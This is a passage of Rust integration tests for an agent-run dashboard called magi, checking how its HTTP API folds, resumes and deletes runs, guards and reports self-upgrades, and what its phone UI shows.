9509             the whole record goes - same as `magi fold` on the CLI"
9510        );
9511    }
9512
9513    #[tokio::test]
9514    async fn deleting_an_unreadable_run_removes_it_wholesale() {
9515        let fx = Fixture::start().await;
9516        let runs = fx.runs();
9517        let wt = fx.home.path().join("wt").join("magi").join("gone");
9518        let id = "20260901-000000-gone";
9519        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9520        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9521        std::fs::create_dir_all(&wt).expect("worktree dir");
9522
9523        let res = fx.delete(&format!("/api/runs/{id}")).await;
9524        assert_eq!(res.status, 204, "{}", res.body);
9525        assert!(!runs.join(id).exists(), "the broken record is gone");
9526        assert!(!wt.exists(), "its worktree is gone too");
9527    }
9528
9529    #[tokio::test]
9530    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9531        let fx = Fixture::start().await;
9532        let runs = fx.runs();
9533        let id = "20260901-000000-live";
9534        write_run(&runs, id, RunStatus::Implementing);
9535
9536        let mut beat = crate::daemon::Status::new();
9537        beat.current = vec![crate::daemon::Current {
9538            task: "20260901-000000-task".to_owned(),
9539            run: id.to_owned(),
9540        }];
9541        beat.updated_at = jiff::Timestamp::now();
9542        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9543            .expect("publish a heartbeat");
9544
9545        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9546        assert_eq!(res.status, 409);
9547        assert!(
9548            res.json()["error"]
9549                .as_str()
9550                .unwrap()
9551                .contains("live daemon"),
9552            "folding under a running agent would pull its worktree away"
9553        );
9554    }
9555
9556    #[tokio::test]
9557    async fn fold_merged_requires_a_pr_url() {
9558        let fx = Fixture::start().await;
9559        let runs = fx.runs();
9560        let id = "20260901-000000-nourl";
9561        write_run(&runs, id, RunStatus::Blocked);
9562
9563        let res = fx
9564            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9565            .await;
9566        assert_eq!(res.status, 400, "{}", res.body);
9567
9568        let blank = fx
9569            .post(
9570                &format!("/api/runs/{id}/fold-merged"),
9571                Some(r#"{"pr_url":"   "}"#),
9572            )
9573            .await;
9574        assert_eq!(blank.status, 400, "{}", blank.body);
9575    }
9576
9577    #[tokio::test]
9578    async fn fold_merged_is_404_for_an_unknown_run() {
9579        let fx = Fixture::start().await;
9580        let res = fx
9581            .post(
9582                "/api/runs/nosuchrun/fold-merged",
9583                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9584            )
9585            .await;
9586        assert_eq!(res.status, 404, "{}", res.body);
9587    }
9588
9589    #[tokio::test]
9590    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9591        let fx = Fixture::start().await;
9592        let runs = fx.runs();
9593        let id = "20260901-000000-livemerge";
9594        write_run(&runs, id, RunStatus::Blocked);
9595
9596        let mut beat = crate::daemon::Status::new();
9597        beat.current = vec![crate::daemon::Current {
9598            task: "20260901-000000-task".to_owned(),
9599            run: id.to_owned(),
9600        }];
9601        beat.updated_at = jiff::Timestamp::now();
9602        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9603            .expect("publish a heartbeat");
9604
9605        let res = fx
9606            .post(
9607                &format!("/api/runs/{id}/fold-merged"),
9608                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9609            )
9610            .await;
9611        assert_eq!(res.status, 409, "{}", res.body);
9612        assert!(
9613            res.json()["error"]
9614                .as_str()
9615                .unwrap()
9616                .contains("live daemon"),
9617            "correcting a run's merge underneath a running agent would race \
9618             whatever it is doing to the same `status`/`merge` fields"
9619        );
9620    }
9621
9622    /// A pull request `gh` cannot even ask about (no such remote, no such
9623    /// repository) must never be recorded as a merge on a guess - the same
9624    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
9625    /// command line, reached here through the phone route instead.
9626    #[tokio::test]
9627    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9628        let fx = Fixture::start().await;
9629        let runs = fx.runs();
9630        let id = "20260901-000000-unconfirmed";
9631        write_run(&runs, id, RunStatus::Blocked);
9632
9633        let res = fx
9634            .post(
9635                &format!("/api/runs/{id}/fold-merged"),
9636                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9637            )
9638            .await;
9639        assert_eq!(res.status, 400, "{}", res.body);
9640        assert_eq!(
9641            read_run(&runs, id).unwrap().status,
9642            RunStatus::Blocked,
9643            "a pull request that could not be confirmed merged must leave \
9644             the run exactly where it was"
9645        );
9646    }
9647
9648    #[tokio::test]
9649    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9650        let fx = Fixture::start().await;
9651        let runs = fx.runs();
9652
9653        // Only a finished run and a failed one. An *interrupted* run - a
9654        // parked one, or one whose daemon was killed mid-node - is the case
9655        // resuming exists for: run 4043 sat at `reviewing` with the deck
9656        // saying it could not be resumed, which was the one state where
9657        // resuming was the only sensible answer.
9658        for (status, word) in [
9659            (RunStatus::Merged, "merged"),
9660            (RunStatus::Ready, "ready"),
9661            (RunStatus::Failed, "failed"),
9662        ] {
9663            let id = format!("20260901-000000-{}", &word[..4]);
9664            write_run(&runs, &id, status);
9665            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9666            assert_eq!(res.status, 409, "{word} must not be resumable");
9667            let err = res.json()["error"].as_str().unwrap().to_owned();
9668            assert!(err.contains(word), "the refusal names the status: {err}");
9669        }
9670
9671        // And an interrupted run is accepted: 202, with the resume running in
9672        // the background. `Runner::resume` fails immediately here - the
9673        // fixture's run points at a repository that does not exist - which is
9674        // the point: the handler must not wait for it to find out.
9675        let mid = "20260901-000000-midf";
9676        write_run(&runs, mid, RunStatus::Reviewing);
9677        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9678        assert_eq!(res.status, 202, "an interrupted run is resumable");
9679    }
9680
9681    #[tokio::test]
9682    async fn resume_is_refused_while_the_loop_is_running() {
9683        let fx = Fixture::start().await;
9684        let runs = fx.runs();
9685        let stalled = "20260901-000000-stal";
9686        write_run(&runs, stalled, RunStatus::Stalled);
9687
9688        // The loop is busy with a *different* run, and that is still a
9689        // refusal: a manual resume must never race whatever the loop itself
9690        // is already driving, whether that is one run or several.
9691        let mut beat = crate::daemon::Status::new();
9692        beat.current = vec![crate::daemon::Current {
9693            task: "20260901-000000-task".to_owned(),
9694            run: "20260901-000000-othr".to_owned(),
9695        }];
9696        beat.updated_at = jiff::Timestamp::now();
9697        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9698            .expect("publish a heartbeat");
9699
9700        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9701        assert_eq!(res.status, 409);
9702        let err = res.json()["error"].as_str().unwrap().to_owned();
9703        assert!(err.contains("othr"), "it names what the loop is on: {err}");
9704        assert!(err.contains("stop it first"), "{err}");
9705    }
9706
9707    #[test]
9708    fn a_run_cannot_be_resumed_twice_at_once() {
9709        let home = TempDir::new().expect("temp home");
9710        let ui = Ui::new(
9711            Queue::at(home.path().join("queue")),
9712            Questions::at(home.path().join("questions")),
9713            Talks::at(home.path().join("talks")),
9714            home.path().join("runs"),
9715            home.path().to_path_buf(),
9716            PathBuf::from("/repo"),
9717        )
9718        .with_worktrees_root(home.path().join("wt"));
9719        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9720        let again = ui.begin_resume("20260901-000000-once");
9721        assert!(again.is_err(), "a second tap must not start a second graph");
9722        drop(first);
9723        assert!(
9724            ui.begin_resume("20260901-000000-once").is_ok(),
9725            "and the claim is released when the attempt ends"
9726        );
9727    }
9728
9729    #[test]
9730    fn talk_thinking_tracks_only_its_held_turn_claim() {
9731        let home = TempDir::new().expect("temp home");
9732        let ui = Ui::new(
9733            Queue::at(home.path().join("queue")),
9734            Questions::at(home.path().join("questions")),
9735            Talks::at(home.path().join("talks")),
9736            home.path().join("runs"),
9737            home.path().to_path_buf(),
9738            PathBuf::from("/repo"),
9739        )
9740        .with_worktrees_root(home.path().join("wt"));
9741        let id = "20260901-000000-once";
9742
9743        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9744        let turn = ui.begin_talk_turn(id).expect("claim turn");
9745        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9746        assert!(
9747            !ui.is_thinking("20260901-000000-other"),
9748            "one talk's turn does not make another talk busy"
9749        );
9750        drop(turn);
9751        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9752    }
9753
9754    #[tokio::test]
9755    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9756        let fx = Fixture::start().await;
9757        // Somebody else's `magi serve` owns the queue. Replacing this binary
9758        // would leave that process running an old one against the same
9759        // claims, which is worse than refusing.
9760        let mut beat = crate::daemon::Status::new();
9761        beat.pid = 4321;
9762        beat.updated_at = jiff::Timestamp::now();
9763        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9764            .expect("publish a heartbeat");
9765
9766        let res = fx.post("/api/upgrade", None).await;
9767        assert_eq!(res.status, 409);
9768        let err = res.json()["error"].as_str().unwrap().to_owned();
9769        assert!(err.contains("4321"), "the refusal names the owner: {err}");
9770        assert!(err.contains("old one against the same queue"), "{err}");
9771    }
9772
9773    /// [`should_spawn_recheck`] must refuse for the same two reasons
9774    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
9775    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
9776    /// Purely a predicate over config and the environment - no network, no
9777    /// disk, no runtime - so unlike the fixture-based tests around it this
9778    /// one needs neither.
9779    #[test]
9780    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9781        assert!(!should_spawn_recheck(&crate::config::Update {
9782            mode: UpdateMode::Off,
9783            interval: None,
9784        }));
9785
9786        // SAFETY: single-threaded as far as this variable goes, the same
9787        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9788        unsafe {
9789            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9790        }
9791        let killed = should_spawn_recheck(&crate::config::Update {
9792            mode: UpdateMode::Notify,
9793            interval: None,
9794        });
9795        unsafe {
9796            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9797        }
9798        assert!(
9799            !killed,
9800            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9801             one-time startup check"
9802        );
9803
9804        assert!(should_spawn_recheck(&crate::config::Update {
9805            mode: UpdateMode::Notify,
9806            interval: None,
9807        }));
9808    }
9809
9810    /// [`recheck_poll_period`] must track a configured `[update] interval`
9811    /// shorter than its own default ceiling - a fixed sleep here would leave
9812    /// an operator's short interval waiting on the next wake-up instead of on
9813    /// `should_check`, which is the same bug this whole task exists to fix,
9814    /// just one level down.
9815    #[test]
9816    fn recheck_poll_period_tracks_a_short_configured_interval() {
9817        let short = crate::config::Update {
9818            mode: UpdateMode::Notify,
9819            interval: Some("1m".to_owned()),
9820        };
9821        let period = recheck_poll_period(&short);
9822        assert!(
9823            period <= Duration::from_secs(30),
9824            "a one-minute interval must wake the task far sooner than the \
9825             default ceiling, or the deck would not notice within the \
9826             interval the operator configured: got {period:?}"
9827        );
9828
9829        let default = crate::config::Update {
9830            mode: UpdateMode::Notify,
9831            interval: None,
9832        };
9833        assert_eq!(
9834            recheck_poll_period(&default),
9835            UPDATE_RECHECK_POLL_MAX,
9836            "the default day-long interval should poll at the (capped) \
9837             ceiling rather than needlessly often"
9838        );
9839    }
9840
9841    /// [`update_recheck_due`] must not repeat a check made moments ago, the
9842    /// same throttle `updater::Checker::should_check` already gives the
9843    /// CLI's notify mode. Built over an explicit state file via
9844    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
9845    /// write the operator's real `last_update_check.json` - and therefore
9846    /// cannot flake on whatever that file happens to say on the machine
9847    /// running the test.
9848    #[test]
9849    fn recheck_skips_the_network_before_the_interval_elapses() {
9850        let dir = TempDir::new().expect("temp dir");
9851        let path = dir.path().join("state.json");
9852        let state = kaishin::UpdateCheckState {
9853            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9854            last_known_latest: None,
9855            last_known_url: None,
9856        };
9857        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9858
9859        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9860        assert!(
9861            !update_recheck_due(&checker, None),
9862            "a check made moments ago must not be repeated before the \
9863             configured interval elapses"
9864        );
9865    }
9866
9867    /// An upgrade this deck already started must not be raced by a recheck
9868    /// that discovers a newer release mid-install - regardless of what
9869    /// `should_check` says, which is why the state file here is missing
9870    /// entirely: read alone, that alone would answer "never checked, go
9871    /// ahead".
9872    #[test]
9873    fn recheck_defers_to_an_upgrade_already_in_flight() {
9874        let dir = TempDir::new().expect("temp dir");
9875        let path = dir.path().join("state.json");
9876        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9877        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9878
9879        assert!(
9880            !update_recheck_due(&checker, Some(&progress)),
9881            "a recheck must not run while an upgrade this deck started is \
9882             still moving"
9883        );
9884    }
9885
9886    #[tokio::test]
9887    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9888        // The same env var the background check honours (`disabled_by_env`)
9889        // must also stop a button press before it ever calls
9890        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
9891        // means "never contact GitHub from this process", and a tap on the
9892        // upgrade button must not override that any more than a broken
9893        // `magi.toml` may. Left unset, this fixture's default config would
9894        // otherwise reach a real, unauthenticated GitHub call.
9895        //
9896        // SAFETY: single-threaded as far as this variable goes - nothing else
9897        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
9898        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9899        unsafe {
9900            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9901        }
9902        let fx = Fixture::start().await;
9903        let res = fx.post("/api/upgrade", None).await;
9904        unsafe {
9905            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9906        }
9907        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9908        let body = res.json();
9909        assert!(body["to"].is_null(), "there was no release to move to");
9910        assert!(body["parked"].is_null(), "and nothing was parked");
9911        assert!(
9912            body["detail"]
9913                .as_str()
9914                .unwrap()
9915                .contains("disabled by MAGI_NO_AUTOUPDATE"),
9916            "{body:?}"
9917        );
9918    }
9919
9920    #[tokio::test]
9921    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9922        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
9923        // and the route answers from its own logic.
9924        //
9925        // This test used to lean on the fixture's placeholder repo failing
9926        // config discovery, which left `mode = "notify"` - and a live,
9927        // unauthenticated call to the GitHub releases API inside a unit test.
9928        // GitHub allows 60 of those an hour per address, so the suite went red
9929        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
9930        // long as somebody kept re-running it: every attempt spent another
9931        // request. Six reruns across four pull requests were charged to that
9932        // before it was read as a rate limit rather than a flake.
9933        //
9934        // What the assertion is about is the "already current" branch, which
9935        // is reached by there being no newer release *or* nowhere to look. The
9936        // second one needs no network and cannot be rate limited.
9937        let repo = TempDir::new().expect("repo dir");
9938        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9939            .expect("write magi.toml");
9940        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9941
9942        // It must answer 200 and leave the process alone: restarting for an
9943        // upgrade that did not happen parks the run in flight and drops every
9944        // connection to pay for nothing. A probe against a deck already on the
9945        // newest build did exactly that, which is how this case got its own
9946        // branch.
9947        let res = fx.post("/api/upgrade", None).await;
9948        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9949        let body = res.json();
9950        assert!(body["to"].is_null(), "there was no release to move to");
9951        assert!(body["parked"].is_null(), "and nothing was parked");
9952        assert!(
9953            body["detail"]
9954                .as_str()
9955                .unwrap()
9956                .contains("nothing restarted"),
9957            "{body:?}"
9958        );
9959    }
9960
9961    #[tokio::test]
9962    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9963        // `mode = "off"` for the same reason as the test above: a default
9964        // fixture repo falls back to `mode = "notify"`, which would make this
9965        // route's new `update` field a live, unauthenticated GitHub call on
9966        // every assertion in this suite that happens to hit `/api/health`.
9967        let repo = TempDir::new().expect("repo dir");
9968        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9969            .expect("write magi.toml");
9970        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9971
9972        let health = fx.get("/api/health").await.json();
9973        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9974        assert_eq!(
9975            health["update"]["available"], false,
9976            "checking is off, which reads as \"unknown\", not \"none\""
9977        );
9978        assert!(health["update"]["to"].is_null());
9979        assert!(
9980            health["upgrade"].is_null(),
9981            "nothing has ever asked this deck to upgrade"
9982        );
9983    }
9984
9985    #[tokio::test]
9986    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9987        let fx = Fixture::start().await;
9988        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9989
9990        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9991        progress.parked_run = Some("20260905-000000-cd51".to_owned());
9992        progress.advance(crate::updater::Stage::Parking);
9993        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9994
9995        let health = fx.get("/api/health").await.json();
9996        assert_eq!(health["upgrade"]["stage"], "parking");
9997        assert_eq!(health["upgrade"]["from"], "0.5.1");
9998        assert_eq!(health["upgrade"]["to"], "0.5.2");
9999        let waiting_on = health["upgrade"]["waiting_on"]
10000            .as_str()
10001            .expect("waiting_on is set while parking a known run");
10002        assert!(waiting_on.contains("cd51"), "{waiting_on}");
10003        assert!(waiting_on.contains("implementing"), "{waiting_on}");
10004    }
10005
10006    #[tokio::test]
10007    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10008        let fx = Fixture::start().await;
10009        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10010        progress.advance(crate::updater::Stage::Done);
10011        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10012
10013        let health = fx.get("/api/health").await.json();
10014        assert_eq!(health["upgrade"]["stage"], "done");
10015        assert!(
10016            health["upgrade"]["waiting_on"].is_null(),
10017            "nothing to wait on once it is done"
10018        );
10019    }
10020
10021    #[tokio::test]
10022    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10023        let home = TempDir::new().expect("temp home");
10024        let runs = home.path().join("runs");
10025        std::fs::create_dir_all(&runs).expect("runs dir");
10026        let ui = Ui::new(
10027            Queue::at(home.path().join("queue")),
10028            Questions::at(home.path().join("questions")),
10029            Talks::at(home.path().join("talks")),
10030            runs,
10031            home.path().to_path_buf(),
10032            PathBuf::from("/repo/magi"),
10033        )
10034        .with_launch(launch_idle);
10035        let looping = ui.looping();
10036        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10037            .await
10038            .expect("bind loopback");
10039        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10040
10041        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10042        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10043
10044        hand_over(home.path(), &looping, served, || Ok(()))
10045            .await
10046            .expect("hand over");
10047
10048        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10049        assert_eq!(
10050            after.stage,
10051            crate::updater::Stage::Restarting,
10052            "hand_over owns the record through parking and up to restarting; \
10053             the successor is what finishes it"
10054        );
10055    }
10056
10057    #[test]
10058    fn the_upgrade_button_arms_before_it_restarts_anything() {
10059        // It ends the process the operator is talking to, and a phone in a
10060        // pocket taps things. One tap arms, the second commits.
10061        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10062        assert!(APP_JS.contains("Replace the binary and restart?"));
10063        assert!(APP_JS.contains("function confirmed("));
10064        // Hidden when the loop is somebody else's, matching the 409 above -
10065        // and hidden with nothing to install, matching the 200 "already
10066        // current" branch: an operator on the newest build must not be
10067        // offered a restart that would only park a run for nothing.
10068        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10069        // A park waits for the node in flight, up to an hour for an implement
10070        // wave. Leaving the button reading "Upgrading…" for that long is the
10071        // same mistake as an error rendered off screen: it looks wedged.
10072        assert!(
10073            APP_JS.contains("Parking, then restarting"),
10074            "the button says what it is waiting for"
10075        );
10076        // And nothing to install must give the button back rather than
10077        // pretending a restart is coming.
10078        assert!(APP_JS.contains("if (!out.to)"));
10079    }
10080
10081    #[test]
10082    fn stopping_the_loop_arms_but_starting_does_not() {
10083        // A stray tap must not leave the queue stopped overnight, so a stop is
10084        // two taps through the same helper the upgrade uses; a start stays one.
10085        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10086        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10087        assert!(APP_JS.contains("confirmed(button, question)"));
10088        // The label put back on timeout is the one saved when arming, not a
10089        // hard-coded upgrade caption that would rename the stop button.
10090        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
10091        assert!(APP_JS.contains("const label = btn.textContent;"));
10092        assert!(!APP_JS.contains("Neither direction is guarded"));
10093    }
10094
10095    #[test]
10096    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10097        assert!(
10098            APP_JS.contains("state.health.version"),
10099            "the operator wants to know what is running even with nothing newer"
10100        );
10101        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10102    }
10103
10104    #[test]
10105    fn the_upgrade_button_names_its_destination() {
10106        assert!(
10107            APP_JS.contains("`Update to ${update.to}`"),
10108            "pressing the button should not be a surprise about what it moves to"
10109        );
10110    }
10111
10112    #[test]
10113    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10114        for stage in ["downloading", "replaced", "parking", "restarting"] {
10115            assert!(
10116                APP_JS.contains(&format!("\"{stage}\"")),
10117                "the phone must be able to tell {stage} apart from the others"
10118            );
10119        }
10120        assert!(APP_JS.contains(".waiting_on"));
10121        // What replaced the bare "Cannot reach magi: Failed to fetch": a
10122        // fetch failing while an upgrade is in flight is not an error, it is
10123        // the sub-second gap `bind_waiting` covers, and it must not be
10124        // reported as one.
10125        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10126        assert!(APP_JS.contains("reconnects on its own"));
10127    }
10128
10129    #[test]
10130    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10131        // `Stage::Failed` is terminal on the server and nothing clears it on
10132        // its own - not a fresh start, not time passing - so a full-strip
10133        // takeover for it (the way the busy stages take the strip over,
10134        // correctly, because those are transient) would have hidden
10135        // start/stop/park behind an upgrade notice with no way back short of
10136        // a person editing `upgrade.json` by hand or a later release
10137        // happening to succeed. The failure must instead ride along as a note
10138        // next to whatever control the loop's own state already offers.
10139        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10140            ..APP_JS.find("function upgrade(").expect("upgrade")];
10141        assert!(
10142            !body.contains(
10143                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
10144            ),
10145            "a failed upgrade must not take the whole strip over the way it used to"
10146        );
10147        assert!(
10148            body.contains("upgradeFailNote"),
10149            "the failure has to reach the loop's own note instead"
10150        );
10151        // `quiet` and `control` are the only two places `loop-why` is set from
10152        // this function's own state; both must carry the note through, or a
10153        // future edit to either one would silently drop it again.
10154        assert_eq!(
10155            body.matches("upgradeFailNote].filter(Boolean).join")
10156                .count(),
10157            2,
10158            "both loop-why writers (quiet and control) must fold the note in"
10159        );
10160    }
10161
10162    #[test]
10163    fn an_overdue_upgrade_eventually_asks_for_a_human() {
10164        // The ceiling has to clear a full hour-long park with room to spare,
10165        // or an ordinary implement wave would be reported as a stuck upgrade.
10166        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10167        assert!(APP_JS.contains("function upgradeOverdue("));
10168    }
10169
10170    #[test]
10171    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10172        assert!(
10173            APP_JS.contains("Updated to ${upgradeInfo.to"),
10174            "the operator who asked for the restart wants to know it worked"
10175        );
10176    }
10177
10178    #[test]
10179    fn an_error_is_visible_from_where_the_button_is() {
10180        // The alert used to sit in the flow under the header. On a phone
10181        // scrolled 13 500 px down to a run's action sheet that is off screen,
10182        // so tapping Resume and being told "the loop is running run b455
10183        // right now" looked exactly like a button that did nothing.
10184        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10185            ..APP_CSS.find(".alert-text").expect(".alert-text")];
10186        assert!(
10187            alert.contains("position: fixed"),
10188            "an error about the thing under your thumb has to be visible from \
10189             where your thumb is: {alert}"
10190        );
10191        assert!(
10192            alert.contains("z-index: 25"),
10193            "above the dock (20) and the run-actions FAB (15), so neither \
10194             buries it: {alert}"
10195        );
10196        assert!(
10197            alert.contains("var(--tap)"),
10198            "and clear of the dock and the home indicator: {alert}"
10199        );
10200        // The FAB sits at the same height on the right. An error that covered
10201        // it would hide the button the operator reaches for next.
10202        assert!(
10203            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10204            "the FAB's column stays free: {alert}"
10205        );
10206    }
10207
10208    #[tokio::test]
10209    async fn an_older_attempt_says_what_replaced_it() {
10210        let fx = Fixture::start().await;
10211        let q = fx.queue();
10212        let runs = fx.runs();
10213        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10214        write_run(&runs, first, RunStatus::Stalled);
10215        write_run(&runs, second, RunStatus::Blocked);
10216
10217        let mut t = Task::new(
10218            "one task".to_owned(),
10219            "do it".to_owned(),
10220            PathBuf::from("/repo"),
10221            Source::Human,
10222        );
10223        t.runs = vec![first.to_owned(), second.to_owned()];
10224        q.put(&mut t).expect("put");
10225
10226        // Two cards with the same title and no hint which is which was the
10227        // question: "why are there two of the same, one stalled and one
10228        // blocked?" The older one now names its replacement.
10229        let rows = fx.get("/api/runs").await.json();
10230        let by = |short: &str| -> Value {
10231            rows.as_array()
10232                .unwrap()
10233                .iter()
10234                .find(|r| r["short"] == short)
10235                .cloned()
10236                .unwrap_or(Value::Null)
10237        };
10238        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10239        assert!(
10240            by("bbbb")["superseded_by"].is_null(),
10241            "the latest attempt is not superseded by anything"
10242        );
10243        // Front end: the note has to be rendered, not just carried.
10244        assert!(APP_JS.contains("run.superseded_by"));
10245        assert!(APP_JS.contains("Superseded by"));
10246    }
10247
10248    #[tokio::test]
10249    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10250        // The list route has known this since the card fix above; the detail
10251        // route — what an operator actually opens from a notification about
10252        // a blocked run — did not, and went on showing a bare red BLOCKED
10253        // chip for a run a retry had already finished.
10254        let fx = Fixture::start().await;
10255        let q = fx.queue();
10256        let runs = fx.runs();
10257        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10258        write_run(&runs, first, RunStatus::Blocked);
10259        write_run(&runs, second, RunStatus::Merged);
10260
10261        let mut t = Task::new(
10262            "one task".to_owned(),
10263            "do it".to_owned(),
10264            PathBuf::from("/repo"),
10265            Source::Human,
10266        );
10267        t.runs = vec![first.to_owned(), second.to_owned()];
10268        q.put(&mut t).expect("put");
10269
10270        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10271        assert_eq!(earlier["superseded_by"], "dddd");
10272        assert_eq!(earlier["latest_attempt"]["id"], second);
10273        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10274        assert_eq!(
10275            earlier["latest_attempt"]["resolved"], true,
10276            "the run that replaced it landed, so this one reads as settled"
10277        );
10278
10279        let later = fx.get(&format!("/api/runs/{second}")).await.json();
10280        assert!(
10281            later["superseded_by"].is_null(),
10282            "the latest attempt is not superseded by anything"
10283        );
10284        assert!(
10285            later["latest_attempt"].is_null(),
10286            "the latest attempt has no later attempt of its own"
10287        );
10288
10289        // Front end: the detail page has to read the field this route now
10290        // carries, downgrade the chip, and link to the run that replaced it —
10291        // not just repeat the list card's own logic under a different name.
10292        // The link is built off `latest_attempt.id`, the server-resolved
10293        // full id, never a bare short string a client would have to guess a
10294        // full run from.
10295        assert!(APP_JS.contains("run.latest_attempt"));
10296        assert!(APP_JS.contains("data-superseded"));
10297        assert!(APP_JS.contains("#/runs/${latest.id}"));
10298    }
10299
10300    #[tokio::test]
10301    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10302        // A -> B -> C, all Blocked except the last. A's immediate successor
10303        // (superseded_by) is B, which is itself unresolved; what an operator
10304        // opening A's page actually needs is where the task's story stands
10305        // *now* - C, not B - without depending on whether C happens to be in
10306        // whatever page of /api/runs the client last cached.
10307        let fx = Fixture::start().await;
10308        let q = fx.queue();
10309        let runs = fx.runs();
10310        let (a, b, c) = (
10311            "20260901-000000-aaaa",
10312            "20260901-000000-bbbb",
10313            "20260901-000000-cccc",
10314        );
10315        write_run(&runs, a, RunStatus::Blocked);
10316        write_run(&runs, b, RunStatus::Blocked);
10317        write_run(&runs, c, RunStatus::Merged);
10318
10319        let mut t = Task::new(
10320            "retried twice".to_owned(),
10321            "do it".to_owned(),
10322            PathBuf::from("/repo"),
10323            Source::Human,
10324        );
10325        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10326        q.put(&mut t).expect("put");
10327
10328        let view = fx.get(&format!("/api/runs/{a}")).await.json();
10329        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10330        assert_eq!(
10331            view["latest_attempt"]["id"], c,
